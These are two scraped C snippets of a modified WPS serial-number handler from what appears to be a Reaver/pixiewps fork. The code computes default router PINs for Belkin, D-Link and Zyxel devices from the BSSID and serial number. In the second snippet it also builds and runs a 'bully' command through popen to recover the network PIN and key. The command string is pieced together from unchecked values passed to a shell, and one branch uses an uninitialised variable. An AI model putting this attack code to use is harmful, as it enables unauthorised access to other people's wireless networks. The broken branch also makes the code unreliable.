static int wps_process_serial_number(struct wps_device_data *dev,
        const u8 *str, size_t str_len)
{
    if (str == NULL) {
        wpa_printf(MSG_DEBUG, "WPS: No Serial Number received");
        return -1;
    }

    wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", str, str_len);
	
	/****** ADD THIS PART ******/
    printf("[P] Access Point Serial Number: ");
    int pixiecnt = 0;
    for (; pixiecnt < str_len; pixiecnt++) {
	printf("%c", (char *) str[pixiecnt]);
    }
    printf("\n");
    /******/
	
	if(globule->stop_in_m1 == 1)
	{
		//exit reaver, need this to get manufac and model for the wash option
		exit(0);
	}
	
	//generate pin, created by http://www.devttys0.com/ team
	//https://github.com/devttys0/wps/tree/master/pingens/belkin
	if(globule->op_gen_pin == 1)
	{
		printf("[Pin Gen] Belkin Default Pin Generator by devttys0 team\n");
		if(str_len < 4) //serial muito curto
		{
		    printf("[Pin Gen] Model Serial Number too short\n");
		    exit(0);
		}
		printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0));
		printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1));
		printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1));
		exit(0);
	}	
	
	//generate pin, created by http://www.devttys0.com/ team
	//https://github.com/devttys0/wps/tree/master/pingens/dlink
	if(globule->op_gen_pin == 2)
	{
		printf("[Pin Gen] D-Link Default Pin Generator by devttys0 team\n");
		printf("[Pin Gen] Pin Generated : %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, 0));
		printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, 1));
		printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, -1));
		exit(0);
	}		

	if(globule->op_gen_pin == 3)
	{
		printf("[Pin Gen] Zyxel Default Pin Generator\n");
		printf("[Pin Gen] Pin Generated : %08d\n",pingen_zyxel(mac2str(get_bssid(),'\0'), str, str_len, 0));
		exit(0);
	}

    os_free(dev->serial_number);
    dev->serial_number = os_malloc(str_len + 1);
    if (dev->serial_number == NULL)
        return -1;
    os_memcpy(dev->serial_number, str, str_len);
    dev->serial_number[str_len] = '\0';

    return 0;
}
Example #2
0
static int wps_process_serial_number(struct wps_device_data *dev,
				     const u8 *str, size_t str_len)
{
	if (str == NULL) {
		wpa_printf(MSG_DEBUG, "WPS: No Serial Number received");
		return -1;
	}

	wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", str, str_len);

	if ((*pixierun > 0) && (debug_level == 4))
	{
		printf("[P] WPS Serial Number: ");
		int pixiecnt = 0;
		for (; pixiecnt < str_len; pixiecnt++) {
			printf("%c", (char) str[pixiecnt]);
		}
		printf("\n");
	}

	if (op_gen_pin == 1)
	{
		

		char cmd_bully_test_aux[4000];
		char cmd_buf_c[5];
		char genpin[100];
		int pinint;
		pinint = pingen_dlink(p_bssid,'\0');
		sprintf(genpin, "%d", pinint); 
		printf("[Pin Gen] D-Link Default Pin Generator by devttys0 team\n");
		printf("[Pin Gen] Pin Generated : %s\n",genpin);

		memset(cmd_bully_test_aux, 0, sizeof(cmd_bully_test_aux));
		memset(cmd_buf_c, 0, sizeof(cmd_buf_c));
	
		strcat(cmd_bully_test_aux,"bully ");
		strcat(cmd_bully_test_aux,"-b ");
		strcat(cmd_bully_test_aux,p_bssid);
		strcat(cmd_bully_test_aux," -p ");
		strcat(cmd_bully_test_aux,genpin);
		strcat(cmd_bully_test_aux," -B --force ");
		strcat(cmd_bully_test_aux,p_iface);
	
		printf("[+] Running bully with the generated pin, wait ...\n");
		printf("[+] Cmd : %s\n",cmd_bully_test_aux);

		FILE *gen_test;
		if ((gen_test = popen(cmd_bully_test_aux, "r")) == NULL) {
			printf("Error opening pipe!\n");
		}

		while (fgets(pixie_buf_aux2, 4000, gen_test) != NULL) 
		{
			if(strstr(pixie_buf_aux2,"	PIN : ")!=NULL)
			{
				printf("[Bully Test] %s", pixie_buf_aux2);
			}
			if(strstr(pixie_buf_aux2,"	KEY : ")!=NULL)
			{
				printf("[Bully Test] %s", pixie_buf_aux2);
			}
		}

		//printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_dlink(p_bssid,'\0'), 1);
		//printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_dlink(p_bssid,'\0'), -1);
		exit(0);		
	}

	//generate pin, created by http://www.devttys0.com/ team
	//https://github.com/devttys0/wps/tree/master/pingens/belkin
	if (op_gen_pin == 2)
	{
		printf("[Pin Gen] Belkin Default Pin Generator by devttys0 team\n");
		if(str_len < 4) //serial muito curto
		{
		    printf("[Pin Gen] Model Serial Number too short\n");
		    exit(0);
		}

		char cmd_bully_test_aux[4000];
		char cmd_buf_c[5];
		char genpin[100];
		int pinint;
		//pinint = pingen_belkin(p_bssid, str, str_len, 0);
		sprintf(genpin, "%d", pinint); 
		printf("[Pin Gen] Pin Generated : %s\n",genpin);





		//printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0));
		//printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1));
		//printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1));
		exit(0);
	}	
	

	os_free(dev->serial_number);
	dev->serial_number = os_malloc(str_len + 1);
	if (dev->serial_number == NULL)
		return -1;
	os_memcpy(dev->serial_number, str, str_len);
	dev->serial_number[str_len] = '\0';

	return 0;
}